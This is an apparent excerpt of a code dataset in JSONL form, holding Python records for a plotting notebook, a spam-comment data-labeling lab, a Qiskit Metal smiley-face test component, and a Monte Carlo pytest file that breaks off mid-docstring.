plt.savefig('my_figure.png')\n# ```\n# before calling \n#\n# ```python\n# plt.show()\n# ```\n#\n# The resolution can be increase by increasing dpi values or saving in pdf or svg format.\n#\n# ```python\n# plt.savefig('my_figure.png', dpi=800)\n# plt.savefig('my_figure.svg')\n# ```\n", "meta": {"hexsha": "9cf3195a2528fe4ad52df6b63be807fde4c48a84", "size": 16557, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/Data Visualization/Intro_to_visualization.py", "max_stars_repo_name": "krischer/seismo_live_build", "max_stars_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-07-11T10:01:39.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-16T14:26:03.000Z", "max_issues_repo_path": "notebooks/Data Visualization/Intro_to_visualization.py", "max_issues_repo_name": "krischer/seismo_live_build", "max_issues_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/Data Visualization/Intro_to_visualization.py", "max_forks_repo_name": "krischer/seismo_live_build", "max_forks_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-11-11T05:05:41.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-12T09:36:24.000Z", "avg_line_length": 28.3025641026, "max_line_length": 188, "alphanum_fraction": 0.685933442, "include": true, "reason": "import numpy,from scipy", "num_tokens": 4866, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.411110869232168, "lm_q2_score": 0.22815649166448124, "lm_q1q2_score": 0.09379761360914678}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Week 3 - Ungraded Lab: Data Labeling\n# \n# \n# Welcome to the ungraded lab for week 3 of Machine Learning Engineering for Production. In this lab, you will see how the data labeling process affects the performance of a classification model. Labeling data is usually a very labor intensive and costly task but it is of great importance.\n# \n# As you saw in the lectures there are many ways to label data, this is dependant on the strategy used. Recall the example with the iguanas, all of the following are valid labeling alternatives but they clearly follow different criteria. \n# \n# <table><tr><td><img src='assets/iguanas1.png'></td><td><img src='assets/iguanas2.png'></td><td><img src='assets/iguanas3.png'></td></tr></table>\n# \n# **You can think of every labeling strategy as a result of different labelers following different labeling rules**. If your data is labeled by people using different criteria this will have a negative impact on your learning algorithm. It is desired to have consistent labeling across your dataset.\n# \n# This lab will touch on the effect of labeling strategies from a slighlty different angle. You will explore how different strategies affect the performance of a machine learning model by simulating the process of having different labelers label the data. This, by defining a set of rules and performing automatic labeling based on those rules.\n# \n# **The main objective of this ungraded lab is to compare performance across labeling options to understand the role that good labeling plays on the performance of Machine Learning models**, these options are:\n# 1. Randomly generated labels (performance lower bound)\n# 2. Automatic generated labels based on three different label strategies\n# 3. True labels (performance upper bound)\n# \n# Although the example with the iguanas is a computer vision task, the same concepts regarding labeling can be applied to other types of data. In this lab you will be working with text data, concretely you will be using a dataset containing comments from the 2015 top 5 most popular Youtube videos. Each comment has been labeled as `spam` or `not_spam` depending on its contents.\n\n# In[1]:\n\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n# ## Loading the dataset\n# \n# The dataset consists of 5 CSV files, one for each video. Pandas `DataFrame` are very powerful to handle data in CSV format. The following helper function will load the data using pandas:\n\n# In[ ]:\n\n\ndef load_labeled_spam_dataset():\n    \"\"\"Load labeled spam dataset.\"\"\"\n\n    # Path where csv files are located\n    base_path = \"./data/\"\n\n    # List of csv files with full path\n    csv_files = [os.path.join(base_path, csv) for csv in os.listdir(base_path)]\n\n    # List of dataframes for each file\n    dfs = [pd.read_csv(filename) for filename in csv_files]\n\n    # Concatenate dataframes into a single one\n    df = pd.concat(dfs)\n\n    # Rename columns\n    df = df.rename(columns={\"CONTENT\": \"text\", \"CLASS\": \"label\"})\n\n    # Set a seed for the order of rows\n    df = df.sample(frac=1, random_state=824)\n    \n    return df.reset_index()\n\n\n# Save the dataframe into the df_labeled variable\ndf_labeled = load_labeled_spam_dataset()\n\n\n# To have a feeling of how the data is organized, let's inspect the top 5 rows of the data:\n\n# In[ ]:\n\n\n# Take a look at the first 5 rows\ndf_labeled.head()\n\n\n# ## Further inspection and preprocessing\n# \n# \n# ### Checking for data imbalance\n# \n# It is fairly common to assume that the data you are working on is balanced. This means that the dataset contains a similar proportion of examples for all classes. Before moving forward let's actually test this assumption:\n\n# In[ ]:\n\n\n# Print actual value count\nprint(f\"Value counts for each class:\\n\\n{df_labeled.label.value_counts()}\\n\")\n\n# Display pie chart to visually check the proportion\ndf_labeled.label.value_counts().plot.pie(y='label', title='Proportion of each class')\nplt.show()\n\n\n# There is roughly the same number of data points for each class so class imbalance is not an issue for this particular dataset.\n# \n# \n# ### Cleaning the dataset\n# \n# If you scroll back to the cell where  you inspected the data, you will realize that the dataframe includes information that is not relevant for the task at hand. At the moment, you are only interested in the comments and the corresponding labels (the video that each comment belongs to will be used later). Let's drop the remaining columns.\n\n# In[ ]:\n\n\n# Drop unused columns\ndf_labeled = df_labeled.drop(['index', 'COMMENT_ID', 'AUTHOR', 'DATE'], axis=1)\n\n# Look at the cleaned dataset\ndf_labeled.head()\n\n\n# Now the dataset only includes the information you are going to use moving forward.\n# \n# ### Splitting the dataset\n# \n# Before jumping to the data labeling section let's split the data into training and test sets so you can use the latter to measure the performance of models that were trained using data labeled through different methods. As a safety measure when doing this split, remember to use stratification so the proportion of classes is maintained within each split.\n\n# In[ ]:\n\n\nfrom sklearn.model_selection import train_test_split\n\n# Save the text into the X variable\nX = df_labeled.drop(\"label\", axis=1)\n\n# Save the true labels into the y variable\ny = df_labeled[\"label\"]\n\n# Use 1/5 of the data for testing later\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42, stratify=y)\n\n# Print number of comments for each set\nprint(f\"There are {X_train.shape[0]} comments for training.\")\nprint(f\"There are {X_test.shape[0]} comments for testing\")\n\n\n# Let's do a visual to check that the stratification actually worked:\n\n# In[ ]:\n\n\nplt.subplot(1, 3, 1)\ny_train.value_counts().plot.pie(y='label', title='Proportion of each class for train set', figsize=(10, 6))\n\nplt.subplot(1, 3, 3)\ny_test.value_counts().plot.pie(y='label', title='Proportion of each class for test set', figsize=(10, 6))\n\nplt.tight_layout()\nplt.show()\n\n\n# Both, the training and test sets a balanced proportion of examples per class. So, the code successfully implemented stratification.  \n# \n# Let's get going!\n\n# ## Data Labeling \n# \n# ### Establishing performance lower and upper bounds for reference\n# \n# To properly compare different labeling strategies you need to establish a baseline for model accuracy, in this case you will establish both a lower and an upper bound to compare against. \n# \n# \n\n# ### Calculate accuracy of a labeling strategy\n# \n# [CountVectorizer](https://scikit-learn.org/stable/modules/generated/sklearn.feature_extraction.text.CountVectorizer.html#sklearn.feature_extraction.text.CountVectorizer) is a handy tool included in the sklearn ecosystem to encode text based data.\n# \n# For more information on how to work with text data using sklearn check out this [resource](https://scikit-learn.org/stable/tutorial/text_analytics/working_with_text_data.html).\n\n# In[ ]:\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n# Allow unigrams and bigrams\nvectorizer = CountVectorizer(ngram_range=(1, 5))\n\n\n# Now that the text encoding is defined, you need to select a model to make predictions. For simplicity you will use a [Multinomial Naive Bayes](https://scikit-learn.org/stable/modules/generated/sklearn.naive_bayes.MultinomialNB.html) classifier. This model is well suited for text classification and is fairly quick to train.\n# \n# Let's define a function which will handle the model fitting and print out the accuracy on the test data:\n\n# In[ ]:\n\n\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.naive_bayes import MultinomialNB\n\n\ndef calculate_accuracy(X_tr, y_tr, X_te=X_test, y_te=y_test, \n                       clf=MultinomialNB(), vectorizer=vectorizer):\n    \n    # Encode train text\n    X_train_vect = vectorizer.fit_transform(X_tr.text.tolist())\n    \n    # Fit model\n    clf.fit(X=X_train_vect, y=y_tr)\n    \n    # Vectorize test text\n    X_test_vect = vectorizer.transform(X_te.text.tolist())\n    \n    # Make predictions for the test set\n    preds = clf.predict(X_test_vect)\n    \n    # Return accuracy score\n    return accuracy_score(preds, y_te)\n\n\n# Now let's create a dictionary  to store the accuracy of each labeling method:\n\n# In[ ]:\n\n\n# Empty dictionary\naccs = dict()\n\n\n# ### Random Labeling\n# \n# Generating random labels is a natural way to establish a lower bound. You will expect that any successful alternative labeling model to outperform randomly generated labels. \n# \n# Now let's calculate the accuracy for the random labeling method\n\n# In[ ]:\n\n\n# Calculate random labels\nrnd_labels = np.random.randint(0, 2, X_train.shape[0])\n\n# Feed them alongside X_train to calculate_accuracy function\nrnd_acc = calculate_accuracy(X_train, rnd_labels)\n\nrnd_acc\n\n\n# You will see a different accuracy everytime you run the previous cell. This is due to the fact that the labeling is done randomly. Remember, this is a binary classification problem and both classes are balanced, so you can expect to see accuracies that revolve around 50%.\n# \n# To further gain intuition let's look at the average accuracy over 10 runs:\n\n# In[ ]:\n\n\n# Empty list to save accuracies\nrnd_accs = []\n\nfor _ in range(10):\n    # Add every accuracy to the list\n    rnd_accs.append(calculate_accuracy(X_train, np.random.randint(0, 2, X_train.shape[0])))\n\n# Save result in accs dictionary\naccs['random-labels'] = sum(rnd_accs)/len(rnd_accs)\n\n# Print result\nprint(f\"The random labelling method achieved and accuracy of {accs['random-labels']*100:.2f}%\")\n\n\n# Random labelling is completely disregarding the information from the solution space you are working on, and is just guessing the correct label. You can't probably do worse than this (or maybe you can). For this reason, this method serves as reference for comparing other labeling methods\n# \n# \n# ### Labeling with true values\n# \n# Now let's look at the other end of the spectrum, this is using the correct labels for your data points. Let's retrain the Multinomial Naive Bayes classifier with the actual labels \n\n# In[ ]:\n\n\n# Calculate accuracy when using the true labels\ntrue_acc = calculate_accuracy(X_train, y_train)\n\n# Save the result\naccs['true-labels'] = true_acc\n\nprint(f\"The true labelling method achieved and accuracy of {accs['true-labels']*100:.2f}%\")\n\n\n# Training with the true labels produced a noticeable boost in accuracy. This is expected as the classifier is now able to properly identify patterns in the training data which were lacking with randomly generated labels. \n# \n# Achieving higher accuracy is possible by either fine-tunning the model or even selecting a different one. For the time being you will keep the model as it is and use this accuracy as what we should strive for with the automatic labeling algorithms you will see next.\n\n# ## Automatic labeling - Trying out different labeling strategies\n\n# Let's suppose that for some reason you don't have access to the true labels associated with each data point in this dataset. It is a natural idea to think that there are patterns in the data that will provide clues of which are the correct labels. This is of course very dependant on the kind of data you are working with and to even hypothesize which patterns exist requires great domain knowledge.\n# \n# The dataset used in this lab was used for this reason. It is reasonable for many people to come up with rules that might help identify a spam comment from a non-spam one for a Youtube video. In the following section you will be performing automatic labeling using such rules. **You can think of each iteration of this process as a labeler with different criteria for labeling** and your job is to hire the most promising one.\n# \n# Notice the word **rules**. In order to perform automatic labeling you will define some rules such as \"if the comment contains the word 'free' classify it as spam\".\n# \n# First things first. Let's define how we are going to encode the labeling:\n# - `SPAM` is represented by 1\n# \n# \n# - `NOT_SPAM` by 0 \n# \n# \n# - `NO_LABEL` as -1\n# \n# \n# You might be wondering about the `NO_LABEL` keyword. Depending on the rules you come up with, these might not be applicable to some data points. For such cases it is better to refuse from giving a label rather than guessing, which you already saw yields poor results.\n\n# ### First iteration - Define some rules\n# \n# For this first iteration you will create three  rules based on the intuition of common patterns that appear on spam comments. The rules are simple, classify as SPAM if any of the following patterns is present within the comment or NO_LABEL otherwise:\n# - `free` - spam comments usually lure users by promoting free stuff\n# - `subs` - spam comments tend to ask users to subscribe to some website or channel\n# - `http` - spam comments include links very frequently\n\n# In[ ]:\n\n\ndef labeling_rules_1(x):\n    \n    # Convert text to lowercase\n    x = x.lower()\n    \n    # Define list of rules\n    rules = [\n        \"free\" in x,\n        \"subs\" in x,\n        \"http\" in x\n    ]\n    \n    # If the comment falls under any of the rules classify as SPAM\n    if any(rules):\n        return 1\n    \n    # Otherwise, NO_LABEL\n    return -1\n\n\n# In[ ]:\n\n\n# Apply the rules the comments in the train set\nlabels = [labeling_rules_1(label) for label in X_train.text]\n\n# Convert to a numpy array\nlabels = np.asarray(labels)\n\n# Take a look at the automatic labels\nlabels\n\n\n# For lots of points the automatic labeling algorithm decided to not settle for a label, this is expected given the nature of the rules that were defined. These points should be deleted since they don't provide information about the classification process and tend to hurt performance.\n\n# In[ ]:\n\n\n# Create the automatic labeled version of X_train by removing points with NO_LABEL label\nX_train_al = X_train[labels != -1]\n\n# Remove predictions with NO_LABEL label\nlabels_al = labels[labels != -1]\n\nprint(f\"Predictions with concrete label have shape: {labels_al.shape}\")\n\nprint(f\"Proportion of data points kept: {labels_al.shape[0]/labels.shape[0]*100:.2f}%\")\n\n\n# Notice that only 379 data points remained out of the original 1564. The rules defined didn't provide enough context for the labeling algorithm to settle on a label, so around 75% of the data has been trimmed.\n# \n# Let's test the accuracy of the model when using these automatic generated labels:\n\n# In[ ]:\n\n\n# Compute accuracy when using these labels\niter_1_acc = calculate_accuracy(X_train_al, labels_al)\n\n# Display accuracy\nprint(f\"First iteration of automatic labeling has an accuracy of {iter_1_acc*100:.2f}%\")\n\n# Save the result\naccs['first-iteration'] = iter_1_acc\n\n\n# Let's compare this accuracy to the baselines by plotting:\n\n# In[ ]:\n\n\ndef plot_accuracies(accs=accs):\n    colors = list(\"rgbcmy\")\n    items_num = len(accs)\n    cont = 1\n\n    for x, y in accs.items():\n        if x in ['true-labels', 'random-labels', 'true-labels-best-clf']:\n            plt.hlines(y, 0, (items_num-2)*2, colors=colors.pop())\n        else:\n            plt.scatter(cont, y, s=100)\n            cont+=2\n    plt.legend(accs.keys(), loc=\"center left\",bbox_to_anchor=(1, 0.5))\n    plt.show()\n    \nplot_accuracies()\n\n\n# This first iteration had an accuracy very close to the random labeling, we should strive to do better than this. \n\n# Before moving forward let's define the `label_given_rules` function that performs all of the steps you just saw, these are: \n# - Apply the rules to a dataframe of comments\n# - Cast the resulting labels to a numpy array\n# - Delete all data points with NO_LABEL as label\n# - Calculate the accuracy of the model using the automatic labels\n# - Save the accuracy for plotting\n# - Print some useful metrics of the process\n\n# In[ ]:\n\n\ndef label_given_rules(df, rules_function, name, \n                      accs_dict=accs, verbose=True):\n    \n    # Apply labeling rules to the comments\n    labels = [rules_function(label) for label in df.text]\n    \n    # Convert to a numpy array\n    labels = np.asarray(labels)\n    \n    # Save initial number of data points\n    initial_size = labels.shape[0]\n    \n    # Trim points with NO_LABEL label\n    X_train_al = df[labels != -1]\n    labels = labels[labels != -1]\n    \n    # Save number of data points after trimming\n    final_size = labels.shape[0]\n    \n    # Compute accuracy\n    acc = calculate_accuracy(X_train_al, labels)\n    \n    # Print useful information\n    if verbose:\n        print(f\"Proportion of data points kept: {final_size/initial_size*100:.2f}%\\n\")\n        print(f\"{name} labeling has an accuracy of {acc*100:.2f}%\\n\")\n        \n    # Save accuracy to accuracies dictionary\n    accs_dict[name] = acc\n    \n    return X_train_al, labels, acc\n\n\n# Going forward we should come up with rules that have a better coverage of the training data, thus making pattern discovery an easier task. Also notice how the rules were only able to label as either SPAM or NO_LABEL, we should also create some rules that help the identification of NOT_SPAM comments.\n\n# ### Second iteration - Coming up with better rules\n# \n# If you inspect the comments in the dataset you might be able to distinguish certain patterns at a glimpse. For example, not spam comments often make references to either the number of views since these were the most watched videos of 2015 or the song in the video and its contents . As for spam comments other common patterns are to promote gifts or ask to follow some channel or website.\n# \n# Let's create some new rules that include these patterns:\n\n# In[ ]:\n\n\ndef labeling_rules_2(x):\n    \n    # Convert text to lowercase\n    x = x.lower()\n    \n    # Define list of rules to classify as NOT_SPAM\n    not_spam_rules = [\n        \"view\" in x,\n        \"song\" in x\n    ]\n    \n    # Define list of rules to classify as SPAM\n    spam_rules = [\n        \"free\" in x,\n        \"subs\" in x,\n        \"gift\" in x,\n        \"follow\" in x,\n        \"http\" in x\n    ]\n    \n    # Classify depending on the rules\n    if any(not_spam_rules):\n        return 0\n    \n    if any(spam_rules):\n        return 1\n    \n    return -1\n\n\n# This new set of rules looks more promising as it includes more patterns to classify as SPAM as well as some patterns to classify as NOT_SPAM. This should result in more data points with a label different to NO_LABEL.\n# \n# Let's check if this is the case.\n\n# In[ ]:\n\n\nlabel_given_rules(X_train, labeling_rules_2, \"second-iteration\")\n\nplot_accuracies()\n\n\n# This time 44% of the original dataset was given a decisive label and there were data points for both labels, this helped the model reach a higher accuracy when compared to the first iteration. Now the accuracy is considerably higher than the random labeling but it is still very far away from the upper bound.\n# \n# Let's see if we can make it even better!\n\n# ### Third Iteration - Even more rules\n# \n# The rules we have defined so far are doing a fair job. Let's add two additional rules, one for classifying SPAM comments and the other for the opposite task.\n# \n# At a glimpse it looks like NOT_SPAM comments are usually shorter. This may be due to them not including hyperlinks but also in general they tend to be more concrete such as \"I love this song!\".\n# \n# Let's take a look at the average number of characters for SPAM comments vs NOT_SPAM oned:\n\n# In[ ]:\n\n\nfrom statistics import mean\n\nprint(f\"NOT_SPAM comments have an average of {mean([len(t) for t in df_labeled[df_labeled.label==0].text]):.2f} characters.\")\nprint(f\"SPAM comments have an average of {mean([len(t) for t in df_labeled[df_labeled.label==1].text]):.2f} characters.\")\n\n\n# It sure looks like there is a big difference in the number of characters for both types of comments.\n# \n# To decide on a threshold to classify as NOT_SPAM let's plot a histogram of the number of characters for NOT_SPAM comments:\n\n# In[ ]:\n\n\nplt.hist([len(t) for t in df_labeled[df_labeled.label==0].text], range=(0,100))\nplt.show()\n\n\n# The majority of NOT_SPAM comments have 30 or less characters so we'll use that as a threshold.\n# \n# Another prevalent pattern in spam comments is to ask users to \"check out\" a channel, website or link.\n# \n# Let's add these two new rules:\n\n# In[ ]:\n\n\ndef labeling_rules_3(x):\n    \n    # Convert text to lowercase\n    x = x.lower()\n    \n    # Define list of rules to classify as NOT_SPAM\n    not_spam_rules = [\n        \"view\" in x,\n        \"song\" in x,\n        len(x) < 30\n    ]\n    \n\n    # Define list of rules to classify as SPAM\n    spam_rules = [\n        \"free\" in x,\n        \"subs\" in x,\n        \"gift\" in x,\n        \"follow\" in x,\n        \"http\" in x,\n        \"check out\" in x\n    ]\n    \n    # Classify depending on the rules\n    if any(not_spam_rules):\n        return 0\n    \n    if any(spam_rules):\n        return 1\n    \n    return -1\n\n\n# In[ ]:\n\n\nlabel_given_rules(X_train, labeling_rules_3, \"third-iteration\")\n\nplot_accuracies()\n\n\n# These new rules do a pretty good job at both, covering the dataset and having a good model accuracy. To be more concrete this labeling strategy reached an accuracy of ~86%! We are getting closer and closer to the upper bound defined by using the true labels.\n# \n# We could keep going on adding more rules to improve accuracy and we do encourage you to try it out yourself!\n# \n# \n# ### Come up with your own rules\n# \n# The following cells contain some code to help you inspect the dataset for patterns and to test out these patterns. The ones used before are commented out in case you want start from scratch or re-use them.\n\n# In[ ]:\n\n\n# Configure pandas to print out all rows to check the complete dataset\npd.set_option('display.max_rows', None)\n\n# Check NOT_SPAM comments\ndf_labeled[df_labeled.label==0]\n\n\n# In[ ]:\n\n\n# Check SPAM comments\ndf_labeled[df_labeled.label==1]\n\n\n# In[ ]:\n\n\ndef your_labeling_rules(x):\n    \n    # Convert text to lowercase\n    x = x.lower()\n    \n    # Define your rules for classifying as NOT_SPAM\n    not_spam_rules = [\n#         \"view\" in x,\n#         \"song\" in x,\n#         len(x) < 30\n    ]\n    \n\n    # Define your rules for classifying as SPAM\n    spam_rules = [\n#         \"free\" in x,\n#         \"subs\" in x,\n#         \"gift\" in x,\n#         \"follow\" in x,\n#         \"http\" in x,\n#         \"check out\" in x\n    ]\n    \n    # Classify depending on your rules\n    if any(not_spam_rules):\n        return 0\n    \n    if any(spam_rules):\n        return 1\n    \n    return -1\n\n\ntry:\n    label_given_rules(X_train, your_labeling_rules, \"your-iteration\")\n    plot_accuracies()\n    \nexcept ValueError:\n    print(\"You have not defined any rules.\")\n\n\n# **Congratulations on finishing this ungraded lab!**\n# \n# By now you should have a better understanding of having good labelled data. In general, **the better your labels are, the better your models will be**. Also it is important to realize that the process of correctly labeling data is a very complex one. **Remember, you can think of each one of the iterations of the automatic labeling process to be a different labeler with different criteria for labeling**. If you assume you are hiring labelers you will want to hire the latter for sure! \n# \n# Another important point to keep in mind is that establishing baselines to compare against is really important as they provide perspective on how well your data and models are performing.\n# \n# **Keep it up!**\n", "meta": {"hexsha": "84b2b764bf93d87ffc2d360cad3ed62247b8d135", "size": 23266, "ext": "py", "lang": "Python", "max_stars_repo_path": "course1/week3-lab/C1W3_Data_Labeling_Ungraded_Lab.py", "max_stars_repo_name": "sidmontu/MLEP-public", "max_stars_repo_head_hexsha": "f74aca1bd539d422199e5f1838abee7e93896f1d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "course1/week3-lab/C1W3_Data_Labeling_Ungraded_Lab.py", "max_issues_repo_name": "sidmontu/MLEP-public", "max_issues_repo_head_hexsha": "f74aca1bd539d422199e5f1838abee7e93896f1d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "course1/week3-lab/C1W3_Data_Labeling_Ungraded_Lab.py", "max_forks_repo_name": "sidmontu/MLEP-public", "max_forks_repo_head_hexsha": "f74aca1bd539d422199e5f1838abee7e93896f1d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.4664634146, "max_line_length": 490, "alphanum_fraction": 0.7248345225, "include": true, "reason": "import numpy", "num_tokens": 5533, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632159254749025, "lm_q2_score": 0.2200070997458932, "lm_q1q2_score": 0.09379377713542372}}
{"text": "# -*- coding: utf-8 -*-\n\n# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2017, 2021.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\"\"\"TEST COMPONENT NOT FOR ACTUAL USE.\"\"\"\n\nfrom qiskit_metal import draw, Dict\nfrom qiskit_metal.qlibrary.core import QComponent\nimport numpy as np\n\n\nclass SmileyFace(QComponent):\n    \"\"\"TEST COMPONENT It is for fun only.  Can view a smiley face. Can make it\n    wink or frown.\n\n    .. image::\n        SmileyFace.png\n\n    .. meta::\n        Smiley Face :)\n\n    Default Options:\n        * happy: True\n        * wink: False\n        * orientation: 0\n    \"\"\"\n\n    component_metadata = Dict(short_name='Smile')\n    \"\"\"Component metadata\"\"\"\n\n    default_options = Dict(happy=True, wink=False, orientation=0)\n    \"\"\"Default connector options\"\"\"\n\n    TOOLTIP = \"\"\"TEST COMPONENT It is for fun only\"\"\"\n\n    def make(self):\n        \"\"\"Build the component.\"\"\"\n        face = draw.shapely.geometry.Point(0, 0).buffer(1)\n        eye = draw.shapely.geometry.Point(0, 0).buffer(0.2)\n        eye_l = draw.translate(eye, -0.4, 0.4)\n        eye_r = draw.translate(eye, 0.4, 0.4)\n\n        smile = draw.shapely.geometry.Point(0, 0).buffer(0.8)\n        cut_sq = draw.shapely.geometry.box(-1, -0.3, 1, 1)\n        smile = draw.subtract(smile, cut_sq)\n\n        frown = draw.rotate(smile, 180)\n        frown = draw.translate(frown, 0, 0.3)\n        frown = draw.subtract(frown,\n                              draw.shapely.geometry.Point(0, -0.8).buffer(0.7))\n\n        face = draw.subtract(face, eye_l)\n\n        if self.p.happy:\n            face = draw.subtract(face, smile)\n        else:\n            face = draw.subtract(face, frown)\n\n        if self.p.wink:\n            face = draw.subtract(\n                face,\n                draw.shapely.geometry.LineString([(0.2, 0.4),\n                                                  (0.6, 0.4)]).buffer(0.02))\n        else:\n            face = draw.subtract(face, eye_r)\n\n        face = draw.rotate(face, self.p.orientation, origin=(0, 0))\n\n        self.add_qgeometry('poly', {'Smiley': face})\n", "meta": {"hexsha": "96ee8f1e6cadd25c254236c864a8d9d28a6508a0", "size": 2416, "ext": "py", "lang": "Python", "max_stars_repo_path": "qiskit_metal/qlibrary/sample_shapes/smiley_face.py", "max_stars_repo_name": "TomVethaak/qiskit-metal", "max_stars_repo_head_hexsha": "0fd3049b16a2b28dc6890b696d67329a91da70b9", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 167, "max_stars_repo_stars_event_min_datetime": "2021-03-17T20:35:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T13:25:04.000Z", "max_issues_repo_path": "qiskit_metal/qlibrary/sample_shapes/smiley_face.py", "max_issues_repo_name": "TomVethaak/qiskit-metal", "max_issues_repo_head_hexsha": "0fd3049b16a2b28dc6890b696d67329a91da70b9", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 307, "max_issues_repo_issues_event_min_datetime": "2021-03-17T14:07:43.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-23T14:22:20.000Z", "max_forks_repo_path": "qiskit_metal/qlibrary/sample_shapes/smiley_face.py", "max_forks_repo_name": "TomVethaak/qiskit-metal", "max_forks_repo_head_hexsha": "0fd3049b16a2b28dc6890b696d67329a91da70b9", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 122, "max_forks_repo_forks_event_min_datetime": "2021-03-17T14:21:24.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-18T10:09:38.000Z", "avg_line_length": 30.582278481, "max_line_length": 79, "alphanum_fraction": 0.5989238411, "include": true, "reason": "import numpy", "num_tokens": 636, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.17781086947804958, "lm_q1q2_score": 0.09376260951226309}}
{"text": "\"\"\"\nThis is a unit test for monte_carlo.py.\n\"\"\"\n\n# Impoart package, test suit, and other packages as needed\nimport numpy as np\nimport mm_2019_sss_2 as MM2\nimport pytest\nfrom argparse import Namespace\n\ndefault_system = MM2.system.SystemSetup(num_particles=20, reduced_density=0.9)\nMC_energy = MM2.energy.Energy()\ndefault_namespace = Namespace(build_method='random', energy_function='UnitlessLJ', \\\nfilename=None, freq=1000, max_displacement=0.1, n_steps=1000000, num_particles=20, \\\nreduced_density=0.9, reduced_temperature=0.9, simulation_cutoff=3.0, tune_displacement=True, output_traj=False, traj_file=None, traj_freq=1000, plot=False)\n\n\ndefault_MC = MM2.monte_carlo.MonteCarlo(new_system=default_system, energy=MC_energy, arguments=default_namespace)\n# Here we use default_system, MC_energy and default_namespace to generate an instance of the class MonteCarlo\n\n@pytest.mark.parametrize(\"delta_e, beta, expected\", [\n    (-5.0, 1.0, True), (0.1, 1.0, True)\n])\n\ndef test_accept_or_reject(delta_e, beta, expected):\n    \"\"\"\n    For delta_e < 0, the expected result should always be true (proposed movement accepted).\n    For delta_e > 0, the random seed 2019 makes the first random number always be 0.9034822144192743.\n    In the test case, since we have delta_e = 0.1 and beta = 1.0, p_acc = 0.9048374180359595, which\n    is larger than the random number, so the expected result should be \"True\".\n    \"\"\"\n\n    np.random.seed(2019)\n    calculated = default_MC.accept_or_reject(delta_e, beta)\n    try:\n        assert expected == calculated\n    finally:\n        np.random.seed()\n\n@pytest.mark.parametrize(\"n_trials, n_accept, max_displacement, expected\", [\n    (100, 36, 10, (8, 0, 0)), (100, 40, 10, (10, 0, 0)), (100, 44, 10, (12, 0, 0))\n])\n\ndef test_adjust_displacement(n_trials, n_accept, max_displacement, expected):\n    \"\"\"\n    First test case (100, 36, 10, (8, 0, 0)): acc_rate = 0.36 < 0.38, so max_displacement = 8\n    Second test case (100, 40, 10, (10, 0, 0)): 0.38 < acc_rate = 0.40 < 0.42, so max_displacement = 10\n    Third test case (100, 44, 10, (12, 0, 0)): acc_rate = 0.44 > 0.42, so max_displacement = 12\n    \"\"\"\n    calculated = default_MC.adjust_displacement(max_displacement, n_accept, n_trials)\n    assert expected == calculated\n\ndef test_parse_arguments_defaults():\n    \"\"\"\n    This testing function tests if the defaults are overwritten correctly if the arugments are specified\n    differently from the defaults. Codewisely, note that default_MC.argument is a namespace, which can be\n    converted to a dictionary by using vars(default_MC.arguments). Then, by using list(vars(default_MC.arguments).values()),\n    we can get the list of defaults, which is to be compared with the list of specified values.\n    \"\"\"\n\n    # create an instance of MonteCarlo for the test case (all arugments are specified to be different from the defaults    \n    # except for the build method)\n    test_system = MM2.system.SystemSetup(num_particles=50, reduced_density=0.2)\n    test_namespace = Namespace(build_method='file', energy_function='LJ', \\\n    filename=None, freq=500, max_displacement=0.5, n_steps=500000, num_particles=50, \\\n    reduced_density=0.2, reduced_temperature=0.5, simulation_cutoff=2.0, tune_displacement=False)\n    test_energy = MM2.energy.Energy()\n    test_case = MM2.monte_carlo.MonteCarlo(new_system=test_system, energy=test_energy, arguments=test_namespace)\n\n    # things to be compared\n    test_case_values = list(vars(test_case.arguments).values())\n    default_values = list(vars(default_MC.arguments).values())\n\n    # start to compare\n    count = 0\n    for i in range(len(test_case_values)):\n        print(\"test_case:\", test_case_values[i])\n        print(\"default_values:\", default_values[i])\n        if test_case_values[i] != default_values[i]:\n            count += 1\n\n    expected_count = len(test_case_values) - 1\n    assert  expected_count == count\n\ndef test_run_simulation():\n\n    \"\"\"\n    